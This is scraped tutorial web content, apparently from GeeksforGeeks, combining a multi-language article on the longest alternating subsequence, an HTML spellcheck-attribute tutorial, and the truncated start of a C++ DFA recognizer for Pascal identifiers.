approach is to update these two values. “inc” should be increased, if and only if the last element in the alternative sequence was smaller than it’s previous element.“dec” should be increased, if and only if the last element in the alternative sequence was greater than it’s previous element. C++ Java Python3 C# Javascript // C++ program for above approach#include <bits/stdc++.h>using namespace std; // Function for finding// longest alternating// subsequenceint LAS(int arr[], int n){ // "inc" and "dec" initialized as 1 // as single element is still LAS int inc = 1; int dec = 1; // Iterate from second element for (int i = 1; i < n; i++) { if (arr[i] > arr[i - 1]) { // "inc" changes iff "dec" // changes inc = dec + 1; } else if (arr[i] < arr[i - 1]) { // "dec" changes iff "inc" // changes dec = inc + 1; } } // Return the maximum length return max(inc, dec);} // Driver Codeint main(){ int arr[] = { 10, 22, 9, 33, 49, 50, 31, 60 }; int n = sizeof(arr) / sizeof(arr[0]); // Function Call cout << LAS(arr, n) << endl; return 0;} // Java Program for above approachpublic class GFG{ // Function for finding // longest alternating // subsequence static int LAS(int[] arr, int n) { // "inc" and "dec" initialized as 1, // as single element is still LAS int inc = 1; int dec = 1; // Iterate from second element for (int i = 1; i < n; i++) { if (arr[i] > arr[i - 1]) { // "inc" changes iff "dec" // changes inc = dec + 1; } else if (arr[i] < arr[i - 1]) { // "dec" changes iff "inc" // changes dec = inc + 1; } } // Return the maximum length return Math.max(inc, dec); } // Driver Code public static void main(String[] args) { int[] arr = { 10, 22, 9, 33, 49, 50, 31, 60 }; int n = arr.length; // Function Call System.out.println(LAS(arr, n)); }} # Python3 program for above approachdef LAS(arr, n): # "inc" and "dec" initialized as 1 # as single element is still LAS inc = 1 dec = 1 # Iterate from second element for i in range(1,n): if (arr[i] > arr[i-1]): # "inc" changes iff "dec" # changes inc = dec + 1 else if (arr[i] < arr[i-1]): # "dec" changes iff "inc" # changes dec = inc + 1 # Return the maximum length return max(inc, dec) # Driver Codeif __name__ == "__main__": arr = [10, 22, 9, 33, 49, 50, 31, 60] n = len(arr) # Function Call print(LAS(arr, n)) // C# program for above approachusing System; class GFG{ // Function for finding// longest alternating// subsequencestatic int LAS(int[] arr, int n){ // "inc" and "dec" initialized as 1, // as single element is still LAS int inc = 1; int dec = 1; // Iterate from second element for(int i = 1; i < n; i++) { if (arr[i] > arr[i - 1]) { // "inc" changes iff "dec" // changes inc = dec + 1; } else if (arr[i] < arr[i - 1]) { // "dec" changes iff "inc" // changes dec = inc + 1; } } // Return the maximum length return Math.Max(inc, dec);} // Driver code static void Main(){ int[] arr = { 10, 22, 9, 33, 49, 50, 31, 60 }; int n = arr.Length; // Function Call Console.WriteLine(LAS(arr, n));}} // This code is contributed by divyeshrabadiya07 <script> // Javascript program for above approach // Function for finding // longest alternating // subsequence function LAS(arr, n) { // "inc" and "dec" initialized as 1 // as single element is still LAS let inc = 1; let dec = 1; // Iterate from second element for (let i = 1; i < n; i++) { if (arr[i] > arr[i - 1]) { // "inc" changes iff "dec" // changes inc = dec + 1; } else if (arr[i] < arr[i - 1]) { // "dec" changes iff "inc" // changes dec = inc + 1; } } // Return the maximum length return Math.max(inc, dec); } let arr = [ 10, 22, 9, 33, 49, 50, 31, 60 ]; let n = arr.length; // Function Call document.write(LAS(arr, n)); // This code is contributed by mukesh07.</script> Output: 6 Time Complexity: O(n) Auxiliary Space: O(1) This article is contributed by Utkarsh Trivedi. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above. vt_m jigyansu divyeshrabadiya07 shivanisinghss2110 divyesh072019 mukesh07 rameshtravel07 simranarora5sos simmytarika5 Dynamic Programming Dynamic Programming Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Bellman–Ford Algorithm | DP-23 Floyd Warshall Algorithm | DP-16 Subset Sum Problem | DP-25 Matrix Chain Multiplication | DP-8 Longest Palindromic Substring | Set 1 Travelling Salesman Problem | Set 1 (Naive and Dynamic Programming) Edit Distance | DP-5 Sieve of Eratosthenes Overlapping Subproblems Property in Dynamic Programming | DP-1 Maximum size square sub-matrix with all 1s
[ { "code": null, "e": 26181, "s": 26153, "text": "\n10 Mar, 2022" }, { "code": null, "e": 26290, "s": 26181, "text": "A sequence {x1, x2, .. xn} is alternating sequence if its elements satisfy one of the following relations : " }, { "code": null, "e": 26364, "s": 26290, "text": " x1 < x2 > x3 < x4 > x5 < .... xn or \n x1 > x2 < x3 > x4 < x5 > .... xn" }, { "code": null, "e": 26375, "s": 26364, "text": "Examples :" }, { "code": null, "e": 26756, "s": 26375, "text": "Input: arr[] = {1, 5, 4}\nOutput: 3\nThe whole arrays is of the form x1 < x2 > x3 \n\nInput: arr[] = {1, 4, 5}\nOutput: 2\nAll subsequences of length 2 are either of the form \nx1 < x2; or x1 > x2\n\nInput: arr[] = {10, 22, 9, 33, 49, 50, 31, 60}\nOutput: 6\nThe subsequences {10, 22, 9, 33, 31, 60} or\n{10, 22, 9, 49, 31, 60} or {10, 22, 9, 50, 31, 60}\nare longest subsequence of length 6." }, { "code": null, "e": 27360, "s": 26756, "text": "This problem is an extension of longest increasing subsequence problem, but requires more thinking for finding optimal substructure property in this.We will solve this problem by dynamic Programming method, Let A is given array of length n of integers. We define a 2D array las[n][2] such that las[i][0] contains longest alternating subsequence ending at index i and last element is greater than its previous element and las[i][1] contains longest alternating subsequence ending at index i and last element is smaller than its previous element, then we have following recurrence relation between them, " }, { "code": null, "e": 27869, "s": 27360, "text": "las[i][0] = Length of the longest alternating subsequence \n ending at index i and last element is greater\n than its previous element\nlas[i][1] = Length of the longest alternating subsequence \n ending at index i and last element is smaller\n than its previous element\n\nRecursive Formulation:\n las[i][0] = max (las[i][0], las[j][1] + 1); \n for all j < i and A[j] < A[i] \n las[i][1] = max (las[i][1], las[j][0] + 1); \n for all j < i and A[j] > A[i]" }, { "code": null, "e": 28589, "s": 27869, "text": "The first recurrence relation is based on the fact that, If we are at position i and this element has to bigger than its previous element then for this sequence (upto i) to be bigger we will try to choose an element j ( < i) such that A[j] < A[i] i.e. A[j] can become A[i]’s previous element and las[j][1] + 1 is bigger than las[i][0] then we will update las[i][0]. Remember we have chosen las[j][1] + 1 not las[j][0] + 1 to satisfy alternate property because in las[j][0] last element is bigger than its previous one and A[i] is greater than A[j] which will break the alternating property if we update. So above fact derives first recurrence relation, similar argument can be made for second recurrence relation also. " }, { "code": null, "e": 28593, "s": 28589, "text": "C++" }, { "code": null, "e": 28595, "s": 28593, "text": "C" }, { "code": null, "e": 28600, "s": 28595, "text": "Java" }, { "code": null, "e": 28608, "s": 28600, "text": "Python3" }, { "code": null, "e": 28611, "s": 28608, "text": "C#" }, { "code": null, "e": 28615, "s": 28611, "text": "PHP" }, { "code": null, "e": 28626, "s": 28615, "text": "Javascript" }, { "code": "// C++ program to find longest alternating// subsequence in an array#include<iostream>using namespace std; // Function to return max of two numbersint max(int a, int b){ return (a > b) ? a : b;} // Function to return longest alternating// subsequence lengthint zzis(int arr[], int n){ /*las[i][0] = Length of the longest alternating subsequence ending at index i and last element is greater than its previous element las[i][1] = Length of the longest alternating subsequence ending at index i and last element is smaller than its previous element */ int las[n][2]; // Initialize all values from 1 for(int i = 0; i < n; i++) las[i][0] = las[i][1] = 1; // Initialize result int res = 1; // Compute values in bottom up manner for(int i = 1; i < n; i++) { // Consider all elements as // previous of arr[i] for(int j = 0; j < i; j++) { // If arr[i] is greater, then // check with las[j][1] if (arr[j] < arr[i] && las[i][0] < las[j][1] + 1) las[i][0] = las[j][1] + 1; // If arr[i] is smaller, then // check with las[j][0] if(arr[j] > arr[i] && las[i][1] < las[j][0] + 1) las[i][1] = las[j][0] + 1; } // Pick maximum of both values at index i if (res < max(las[i][0], las[i][1])) res = max(las[i][0], las[i][1]); } return res;} // Driver codeint main(){ int arr[] = { 10, 22, 9, 33, 49, 50, 31, 60 }; int n = sizeof(arr) / sizeof(arr[0]); cout << \"Length of Longest alternating \" << \"subsequence is \" << zzis(arr, n); return 0;} // This code is contributed by shivanisinghss2110", "e": 30466, "s": 28626, "text": null }, { "code": "// C program to find longest alternating subsequence in// an array#include <stdio.h>#include <stdlib.h> // function to return max of two numbersint max(int a, int b) { return (a > b) ? a : b; } // Function to return longest alternating subsequence lengthint zzis(int arr[], int n){ /*las[i][0] = Length of the longest alternating subsequence ending at index i and last element is greater than its previous element las[i][1] = Length of the longest alternating subsequence ending at index i and last element is smaller than its previous element */ int las[n][2]; /* Initialize all values from 1 */ for (int i = 0; i < n; i++) las[i][0] = las[i][1] = 1; int res = 1; // Initialize result /* Compute values in bottom up manner */ for (int i = 1; i < n; i++) { // Consider all elements as previous of arr[i] for (int j = 0; j < i; j++) { // If arr[i] is greater, then check with las[j][1] if (arr[j] < arr[i] && las[i][0] < las[j][1] + 1) las[i][0] = las[j][1] + 1; // If arr[i] is smaller, then check with las[j][0] if( arr[j] > arr[i] && las[i][1] < las[j][0] + 1) las[i][1] = las[j][0] + 1; } /* Pick maximum of both values at index i */ if (res < max(las[i][0], las[i][1])) res = max(las[i][0], las[i][1]); } return res;} /* Driver program */int main(){ int arr[] = { 10, 22, 9, 33, 49, 50, 31, 60 }; int n = sizeof(arr)/sizeof(arr[0]); printf(\"Length of Longest alternating subsequence is %d\\n\", zzis(arr, n) ); return 0;}", "e": 32128, "s": 30466, "text": null }, { "code": "// Java program to find longest// alternating subsequence in an arrayimport java.io.*; class GFG { // Function to return longest// alternating subsequence lengthstatic int zzis(int arr[], int n){ /*las[i][0] = Length of the longest alternating subsequence ending at index i and last element is greater than its previous element las[i][1] = Length of the longest alternating subsequence ending at index i and last element is smaller than its previous element */ int las[][] = new int[n][2]; /* Initialize all values from 1 */ for (int i = 0; i < n; i++) las[i][0] = las[i][1] = 1; int res = 1; // Initialize result /* Compute values in bottom up manner */ for (int i = 1; i < n; i++) { // Consider all elements as // previous of arr[i] for (int j = 0; j < i; j++) { // If arr[i] is greater, then // check with las[j][1] if (arr[j] < arr[i] && las[i][0] < las[j][1] + 1) las[i][0] = las[j][1] + 1; // If arr[i] is smaller, then // check with las[j][0] if( arr[j] > arr[i] && las[i][1] < las[j][0] + 1) las[i][1] = las[j][0] + 1; } /* Pick maximum of both values at index i */ if (res < Math.max(las[i][0], las[i][1])) res = Math.max(las[i][0], las[i][1]); } return res;} /* Driver program */public static void main(String[] args){ int arr[] = { 10, 22, 9, 33, 49, 50, 31, 60 }; int n = arr.length; System.out.println(\"Length of Longest \"+ \"alternating subsequence is \" + zzis(arr, n));}}// This code is contributed by Prerna Saini", "e": 33907, "s": 32128, "text": null }, { "code": "# Python3 program to find longest# alternating subsequence in an array # Function to return max of two numbersdef Max(a, b): if a > b: return a else: return b # Function to return longest alternating# subsequence lengthdef zzis(arr, n): \"\"\"las[i][0] = Length of the longest alternating subsequence ending at index i and last element is greater than its previous element las[i][1] = Length of the longest alternating subsequence ending at index i and last element is smaller than its previous element\"\"\" las = [[0 for i in range(2)] for j in range(n)] # Initialize all values from 1 for i in range(n): las[i][0], las[i][1] = 1, 1 # Initialize result res = 1 # Compute values in bottom up manner for i in range(1, n): # Consider all elements as # previous of arr[i] for j in range(0, i): # If arr[i] is greater, then # check with las[j][1] if (arr[j] < arr[i] and las[i][0] < las[j][1] + 1): las[i][0] = las[j][1] + 1 # If arr[i] is smaller, then # check with las[j][0] if(arr[j] > arr[i] and las[i][1] < las[j][0] + 1): las[i][1] = las[j][0] + 1 # Pick maximum of both values at index i if (res < max(las[i][0], las[i][1])): res = max(las[i][0], las[i][1]) return res # Driver Codearr = [ 10, 22, 9, 33, 49, 50, 31, 60 ]n = len(arr) print(\"Length of Longest alternating subsequence is\" , zzis(arr, n)) # This code is contributed by divyesh072019", "e": 35560, "s": 33907, "text": null }, { "code": "// C# program to find longest// alternating subsequence// in an arrayusing System; class GFG{ // Function to return longest// alternating subsequence lengthstatic int zzis(int []arr, int n){ /*las[i][0] = Length of the longest alternating subsequence ending at index i and last element is greater than its previous element las[i][1] = Length of the longest alternating subsequence ending at index i and last element is smaller than its previous element */ int [,]las = new int[n, 2]; /* Initialize all values from 1 */ for (int i = 0; i < n; i++) las[i, 0] = las[i, 1] = 1; // Initialize result int res = 1; /* Compute values in bottom up manner */ for (int i = 1; i < n; i++) { // Consider all elements as // previous of arr[i] for (int j = 0; j < i; j++) { // If arr[i] is greater, then // check with las[j][1] if (arr[j] < arr[i] && las[i, 0] < las[j, 1] + 1) las[i, 0] = las[j, 1] + 1; // If arr[i] is smaller, then // check with las[j][0] if( arr[j] > arr[i] && las[i, 1] < las[j, 0] + 1) las[i, 1] = las[j, 0] + 1; } /* Pick maximum of both values at index i */ if (res < Math.Max(las[i, 0], las[i, 1])) res = Math.Max(las[i, 0], las[i, 1]); } return res;} // Driver Codepublic static void Main(){ int []arr = {10, 22, 9, 33, 49, 50, 31, 60}; int n = arr.Length; Console.WriteLine(\"Length of Longest \"+ \"alternating subsequence is \" + zzis(arr, n));}} // This code is contributed by anuj_67.", "e": 37372, "s": 35560, "text": null }, { "code": "<?php// PHP program to find longest// alternating subsequence in// an array // Function to return longest// alternating subsequence lengthfunction zzis($arr, $n){ /*las[i][0] = Length of the longest alternating subsequence ending at index i and last element is greater than its previous element las[i][1] = Length of the longest alternating subsequence ending at index i and last element is smaller than its previous element */ $las = array(array()); /* Initialize all values from 1 */ for ( $i = 0; $i < $n; $i++) $las[$i][0] = $las[$i][1] = 1; $res = 1; // Initialize result /* Compute values in bottom up manner */ for ( $i = 1; $i < $n; $i++) { // Consider all elements // as previous of arr[i] for ($j = 0; $j < $i; $j++) { // If arr[i] is greater, then // check with las[j][1] if ($arr[$j] < $arr[$i] and $las[$i][0] < $las[$j][1] + 1) $las[$i][0] = $las[$j][1] + 1; // If arr[i] is smaller, then // check with las[j][0] if($arr[$j] > $arr[$i] and $las[$i][1] < $las[$j][0] + 1) $las[$i][1] = $las[$j][0] + 1; } /* Pick maximum of both values at index i */ if ($res < max($las[$i][0], $las[$i][1])) $res = max($las[$i][0], $las[$i][1]); } return $res;} // Driver Code$arr = array(10, 22, 9, 33, 49, 50, 31, 60 );$n = count($arr);echo \"Length of Longest alternating \" . \"subsequence is \", zzis($arr, $n) ; // This code is contributed by anuj_67.?>", "e": 39022, "s": 37372, "text": null }, { "code": "<script> // Javascript program to find longest // alternating subsequence in an array // Function to return longest // alternating subsequence length function zzis(arr, n) { /*las[i][0] = Length of the longest alternating subsequence ending at index i and last element is greater than its previous element las[i][1] = Length of the longest alternating subsequence ending at index i and last element is smaller than its previous element */ let las = new Array(n); for (let i = 0; i < n; i++) { las[i] = new Array(2); for (let j = 0; j < 2; j++) { las[i][j] = 0; } } /* Initialize all values from 1 */ for (let i = 0; i < n; i++) las[i][0] = las[i][1] = 1; let res = 1; // Initialize result /* Compute values in bottom up manner */ for (let i = 1; i < n; i++) { // Consider all elements as // previous of arr[i] for (let j = 0; j < i; j++) { // If arr[i] is greater, then // check with las[j][1] if (arr[j] < arr[i] && las[i][0] < las[j][1] + 1) las[i][0] = las[j][1] + 1; // If arr[i] is smaller, then // check with las[j][0] if( arr[j] > arr[i] && las[i][1] < las[j][0] + 1) las[i][1] = las[j][0] + 1; } /* Pick maximum of both values at index i */ if (res < Math.max(las[i][0], las[i][1])) res = Math.max(las[i][0], las[i][1]); } return res; } let arr = [ 10, 22, 9, 33, 49, 50, 31, 60 ]; let n = arr.length; document.write(\"Length of Longest \"+ \"alternating subsequence is \" + zzis(arr, n)); // This code is contributed by rameshtravel07.</script>", "e": 41076, "s": 39022, "text": null }, { "code": null, "e": 41085, "s": 41076, "text": "Output: " }, { "code": null, "e": 41132, "s": 41085, "text": "Length of Longest alternating subsequence is 6" }, { "code": null, "e": 41177, "s": 41132, "text": "Time Complexity: O(n2) Auxiliary Space: O(n)" }, { "code": null, "e": 41514, "s": 41177, "text": "Efficient Solution:In the above approach, at any moment we are keeping track of two values (Length of the longest alternating subsequence ending at index i, and last element is smaller than or greater than previous element), for every element on array. To optimise space, we only need to store two variables for element at any index i. " }, { "code": null, "e": 41805, "s": 41514, "text": "inc = Length of longest alternative subsequence so far with current value being greater than it’s previous value.dec = Length of longest alternative subsequence so far with current value being smaller than it’s previous value.The tricky part of this approach is to update these two values. " }, { "code": null, "e": 42058, "s": 41805, "text": "“inc” should be increased, if and only if the last element in the alternative sequence was smaller than it’s previous element.“dec” should be increased, if and only if the last element in the alternative sequence was greater than it’s previous element." }, { "code": null, "e": 42062, "s": 42058, "text": "C++" }, { "code": null, "e": 42067, "s": 42062, "text": "Java" }, { "code": null, "e": 42075, "s": 42067, "text": "Python3" }, { "code": null, "e": 42078, "s": 42075, "text": "C#" }, { "code": null, "e": 42089, "s": 42078, "text": "Javascript" }, { "code": "// C++ program for above approach#include <bits/stdc++.h>using namespace std; // Function for finding// longest alternating// subsequenceint LAS(int arr[], int n){ // \"inc\" and \"dec\" initialized as 1 // as single element is still LAS int inc = 1; int dec = 1; // Iterate from second element for (int i = 1; i < n; i++) { if (arr[i] > arr[i - 1]) { // \"inc\" changes iff \"dec\" // changes inc = dec + 1; } else if (arr[i] < arr[i - 1]) { // \"dec\" changes iff \"inc\" // changes dec = inc + 1; } } // Return the maximum length return max(inc, dec);} // Driver Codeint main(){ int arr[] = { 10, 22, 9, 33, 49, 50, 31, 60 }; int n = sizeof(arr) / sizeof(arr[0]); // Function Call cout << LAS(arr, n) << endl; return 0;}", "e": 42988, "s": 42089, "text": null }, { "code": "// Java Program for above approachpublic class GFG{ // Function for finding // longest alternating // subsequence static int LAS(int[] arr, int n) { // \"inc\" and \"dec\" initialized as 1, // as single element is still LAS int inc = 1; int dec = 1; // Iterate from second element for (int i = 1; i < n; i++) { if (arr[i] > arr[i - 1]) { // \"inc\" changes iff \"dec\" // changes inc = dec + 1; } else if (arr[i] < arr[i - 1]) { // \"dec\" changes iff \"inc\" // changes dec = inc + 1; } } // Return the maximum length return Math.max(inc, dec); } // Driver Code public static void main(String[] args) { int[] arr = { 10, 22, 9, 33, 49, 50, 31, 60 }; int n = arr.length; // Function Call System.out.println(LAS(arr, n)); }}", "e": 44080, "s": 42988, "text": null }, { "code": "# Python3 program for above approachdef LAS(arr, n): # \"inc\" and \"dec\" initialized as 1 # as single element is still LAS inc = 1 dec = 1 # Iterate from second element for i in range(1,n): if (arr[i] > arr[i-1]): # \"inc\" changes iff \"dec\" # changes inc = dec + 1 else if (arr[i] < arr[i-1]): # \"dec\" changes iff \"inc\" # changes dec = inc + 1 # Return the maximum length return max(inc, dec) # Driver Codeif __name__ == \"__main__\": arr = [10, 22, 9, 33, 49, 50, 31, 60] n = len(arr) # Function Call print(LAS(arr, n))", "e": 44767, "s": 44080, "text": null }, { "code": "// C# program for above approachusing System; class GFG{ // Function for finding// longest alternating// subsequencestatic int LAS(int[] arr, int n){ // \"inc\" and \"dec\" initialized as 1, // as single element is still LAS int inc = 1; int dec = 1; // Iterate from second element for(int i = 1; i < n; i++) { if (arr[i] > arr[i - 1]) { // \"inc\" changes iff \"dec\" // changes inc = dec + 1; } else if (arr[i] < arr[i - 1]) { // \"dec\" changes iff \"inc\" // changes dec = inc + 1; } } // Return the maximum length return Math.Max(inc, dec);} // Driver code static void Main(){ int[] arr = { 10, 22, 9, 33, 49, 50, 31, 60 }; int n = arr.Length; // Function Call Console.WriteLine(LAS(arr, n));}} // This code is contributed by divyeshrabadiya07", "e": 45718, "s": 44767, "text": null }, { "code": "<script> // Javascript program for above approach // Function for finding // longest alternating // subsequence function LAS(arr, n) { // \"inc\" and \"dec\" initialized as 1 // as single element is still LAS let inc = 1; let dec = 1; // Iterate from second element for (let i = 1; i < n; i++) { if (arr[i] > arr[i - 1]) { // \"inc\" changes iff \"dec\" // changes inc = dec + 1; } else if (arr[i] < arr[i - 1]) { // \"dec\" changes iff \"inc\" // changes dec = inc + 1; } } // Return the maximum length return Math.max(inc, dec); } let arr = [ 10, 22, 9, 33, 49, 50, 31, 60 ]; let n = arr.length; // Function Call document.write(LAS(arr, n)); // This code is contributed by mukesh07.</script>", "e": 46683, "s": 45718, "text": null }, { "code": null, "e": 46691, "s": 46683, "text": "Output:" }, { "code": null, "e": 46693, "s": 46691, "text": "6" }, { "code": null, "e": 46737, "s": 46693, "text": "Time Complexity: O(n) Auxiliary Space: O(1)" }, { "code": null, "e": 46910, "s": 46737, "text": "This article is contributed by Utkarsh Trivedi. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above." }, { "code": null, "e": 46915, "s": 46910, "text": "vt_m" }, { "code": null, "e": 46924, "s": 46915, "text": "jigyansu" }, { "code": null, "e": 46942, "s": 46924, "text": "divyeshrabadiya07" }, { "code": null, "e": 46961, "s": 46942, "text": "shivanisinghss2110" }, { "code": null, "e": 46975, "s": 46961, "text": "divyesh072019" }, { "code": null, "e": 46984, "s": 46975, "text": "mukesh07" }, { "code": null, "e": 46999, "s": 46984, "text": "rameshtravel07" }, { "code": null, "e": 47015, "s": 46999, "text": "simranarora5sos" }, { "code": null, "e": 47028, "s": 47015, "text": "simmytarika5" }, { "code": null, "e": 47048, "s": 47028, "text": "Dynamic Programming" }, { "code": null, "e": 47068, "s": 47048, "text": "Dynamic Programming" }, { "code": null, "e": 47166, "s": 47068, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 47197, "s": 47166, "text": "Bellman–Ford Algorithm | DP-23" }, { "code": null, "e": 47230, "s": 47197, "text": "Floyd Warshall Algorithm | DP-16" }, { "code": null, "e": 47257, "s": 47230, "text": "Subset Sum Problem | DP-25" }, { "code": null, "e": 47292, "s": 47257, "text": "Matrix Chain Multiplication | DP-8" }, { "code": null, "e": 47330, "s": 47292, "text": "Longest Palindromic Substring | Set 1" }, { "code": null, "e": 47398, "s": 47330, "text": "Travelling Salesman Problem | Set 1 (Naive and Dynamic Programming)" }, { "code": null, "e": 47419, "s": 47398, "text": "Edit Distance | DP-5" }, { "code": null, "e": 47441, "s": 47419, "text": "Sieve of Eratosthenes" }, { "code": null, "e": 47504, "s": 47441, "text": "Overlapping Subproblems Property in Dynamic Programming | DP-1" } ]
HTML | Spell Check - GeeksforGeeks
11 Aug, 2021 The Spell Check feature in HTML is used to detect grammatical or spelling mistakes in the text fields.The Spell Check feature can be applied to HTML forms using the spellcheck attribute. The spellcheck attribute is an enumerated attribute which defines whether the HTML element will be checked for errors or not. It can be used with “input” and “textarea” fields in HTML. Supported Tags: It supports all HTML elements. Syntax : Syntax for spellcheck attribute in an input field in html: <input type="text" spellcheck="value"> Syntax for spellcheck in a textarea field in html: <textarea type="text" spellcheck="value"></textarea> In the above syntax the value assigned to spellcheck will define whether spellcheck will be enabled or not on the element. The spellcheck attribute has two valid values, which are: True: It defines that the HTML element should be checked for errors. False: It defines that the HTML element should not be checked for errors. When the attribute is not set, it takes the default value which is generally element type and browser defined. The value can be also be inherited from the ancestral element. Enabling Spell Check in an HTML Form: To enable spellcheck in an HTML form the spellcheck attribute is set to “true”. Below is the sample HTML program with enabled spellcheck. Example:1 HTML <!DOCTYPE html><html><body><h3>Example of Enabling SpellCheck</h3> <form> <p> <input type="text" spellcheck="true"> </p> <p> <textarea spellcheck="true"></textarea> </p> <button type="reset">Reset</button> </form></body></html> Output: Disabling Spell Check in a HTML Form: To disable spellcheck in a HTML form the spellcheck attribute is set to “false”. Below is the sample HTML program with disabled spellcheck. Example:2 HTML <!DOCTYPE html><html><body><h3>Example of Disabling SpellCheck</h3> <form> <p> <input type="text" spellcheck="false"> </p> <p> <textarea spellcheck="false"></textarea> </p> <button type="reset">Reset</button> </form></body></html> Output: Supported Browsers: The browser supported by spellcheck attribute are listed below: Google Chrome 9.0 Internet Explorer 11.0 Firefox Opera Safari Attention reader! Don’t stop learning now. Get hold of all the important HTML concepts with the Web Design for Beginners | HTML course. Akanksha_Rai Vijay Sirra ManasChhabra2 HTML-Attributes HTML-Basics HTML Web Technologies HTML Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Top 10 Projects For Beginners To Practice HTML and CSS Skills How to insert spaces/tabs in text using HTML/CSS? How to update Node.js and NPM to next version ? How to set the default value for an HTML <select> element ? Hide or show elements in HTML using display property Remove elements from a JavaScript Array Installation of Node.js on Linux Convert a string to an integer in JavaScript How to fetch data from an API in ReactJS ? Top 10 Projects For Beginners To Practice HTML and CSS Skills
[ { "code": null, "e": 31645, "s": 31617, "text": "\n11 Aug, 2021" }, { "code": null, "e": 32017, "s": 31645, "text": "The Spell Check feature in HTML is used to detect grammatical or spelling mistakes in the text fields.The Spell Check feature can be applied to HTML forms using the spellcheck attribute. The spellcheck attribute is an enumerated attribute which defines whether the HTML element will be checked for errors or not. It can be used with “input” and “textarea” fields in HTML." }, { "code": null, "e": 32065, "s": 32017, "text": "Supported Tags: It supports all HTML elements. " }, { "code": null, "e": 32135, "s": 32065, "text": "Syntax : Syntax for spellcheck attribute in an input field in html: " }, { "code": null, "e": 32174, "s": 32135, "text": "<input type=\"text\" spellcheck=\"value\">" }, { "code": null, "e": 32226, "s": 32174, "text": "Syntax for spellcheck in a textarea field in html: " }, { "code": null, "e": 32279, "s": 32226, "text": "<textarea type=\"text\" spellcheck=\"value\"></textarea>" }, { "code": null, "e": 32461, "s": 32279, "text": "In the above syntax the value assigned to spellcheck will define whether spellcheck will be enabled or not on the element. The spellcheck attribute has two valid values, which are: " }, { "code": null, "e": 32530, "s": 32461, "text": "True: It defines that the HTML element should be checked for errors." }, { "code": null, "e": 32604, "s": 32530, "text": "False: It defines that the HTML element should not be checked for errors." }, { "code": null, "e": 32778, "s": 32604, "text": "When the attribute is not set, it takes the default value which is generally element type and browser defined. The value can be also be inherited from the ancestral element." }, { "code": null, "e": 32956, "s": 32778, "text": "Enabling Spell Check in an HTML Form: To enable spellcheck in an HTML form the spellcheck attribute is set to “true”. Below is the sample HTML program with enabled spellcheck. " }, { "code": null, "e": 32966, "s": 32956, "text": "Example:1" }, { "code": null, "e": 32971, "s": 32966, "text": "HTML" }, { "code": "<!DOCTYPE html><html><body><h3>Example of Enabling SpellCheck</h3> <form> <p> <input type=\"text\" spellcheck=\"true\"> </p> <p> <textarea spellcheck=\"true\"></textarea> </p> <button type=\"reset\">Reset</button> </form></body></html> ", "e": 33297, "s": 32971, "text": null }, { "code": null, "e": 33306, "s": 33297, "text": "Output: " }, { "code": null, "e": 33486, "s": 33306, "text": "Disabling Spell Check in a HTML Form: To disable spellcheck in a HTML form the spellcheck attribute is set to “false”. Below is the sample HTML program with disabled spellcheck. " }, { "code": null, "e": 33496, "s": 33486, "text": "Example:2" }, { "code": null, "e": 33501, "s": 33496, "text": "HTML" }, { "code": "<!DOCTYPE html><html><body><h3>Example of Disabling SpellCheck</h3> <form> <p> <input type=\"text\" spellcheck=\"false\"> </p> <p> <textarea spellcheck=\"false\"></textarea> </p> <button type=\"reset\">Reset</button> </form></body></html> ", "e": 33811, "s": 33501, "text": null }, { "code": null, "e": 33820, "s": 33811, "text": "Output: " }, { "code": null, "e": 33905, "s": 33820, "text": "Supported Browsers: The browser supported by spellcheck attribute are listed below: " }, { "code": null, "e": 33923, "s": 33905, "text": "Google Chrome 9.0" }, { "code": null, "e": 33946, "s": 33923, "text": "Internet Explorer 11.0" }, { "code": null, "e": 33954, "s": 33946, "text": "Firefox" }, { "code": null, "e": 33960, "s": 33954, "text": "Opera" }, { "code": null, "e": 33967, "s": 33960, "text": "Safari" }, { "code": null, "e": 34106, "s": 33969, "text": "Attention reader! Don’t stop learning now. Get hold of all the important HTML concepts with the Web Design for Beginners | HTML course." }, { "code": null, "e": 34119, "s": 34106, "text": "Akanksha_Rai" }, { "code": null, "e": 34131, "s": 34119, "text": "Vijay Sirra" }, { "code": null, "e": 34145, "s": 34131, "text": "ManasChhabra2" }, { "code": null, "e": 34161, "s": 34145, "text": "HTML-Attributes" }, { "code": null, "e": 34173, "s": 34161, "text": "HTML-Basics" }, { "code": null, "e": 34178, "s": 34173, "text": "HTML" }, { "code": null, "e": 34195, "s": 34178, "text": "Web Technologies" }, { "code": null, "e": 34200, "s": 34195, "text": "HTML" }, { "code": null, "e": 34298, "s": 34200, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 34360, "s": 34298, "text": "Top 10 Projects For Beginners To Practice HTML and CSS Skills" }, { "code": null, "e": 34410, "s": 34360, "text": "How to insert spaces/tabs in text using HTML/CSS?" }, { "code": null, "e": 34458, "s": 34410, "text": "How to update Node.js and NPM to next version ?" }, { "code": null, "e": 34518, "s": 34458, "text": "How to set the default value for an HTML <select> element ?" }, { "code": null, "e": 34571, "s": 34518, "text": "Hide or show elements in HTML using display property" }, { "code": null, "e": 34611, "s": 34571, "text": "Remove elements from a JavaScript Array" }, { "code": null, "e": 34644, "s": 34611, "text": "Installation of Node.js on Linux" }, { "code": null, "e": 34689, "s": 34644, "text": "Convert a string to an integer in JavaScript" }, { "code": null, "e": 34732, "s": 34689, "text": "How to fetch data from an API in ReactJS ?" } ]
DFA (Recognizer) for valid Pascal identifiers - GeeksforGeeks
29 Jun, 2021 Problem – Implement a recognizer for pascal identifiers based on a DFA that accepts strings belonging to the definition of the language of the same. Here is a regular definition for the set of Pascal identifiers that are defined as the set of strings of letters and digits beginning with a letter. letter : A | B | . . . | Z | a | b | . . . | z digit : 0 | 1 | 2 | . . . | 9 ID : letter (letter | digit)* The regular expression ID is the pattern for the Pascal identifier token and defines letter and digit where a letter is a regular expression for the set of all upper-case and lowercase letters in the alphabet and digit is regular for the set of all decimal digits. State diagram of the DFA Working code for the recognizer: C++ // C++ program to implement DFA based regonizer that accepts// all strings which follow the language// L = { letter (letter | digit)* } #include <bits/stdc++.h>#include <iostream>using namespace std; // dfa tells the number associated// with the present stateint dfa; // This function is for// the starting state (zeroth) of DFAvoid start(char c){ if (isalpha(c)) dfa = 1; else // -1 is used to check for any invalid symbol dfa = -1;} // This function is for the first state of 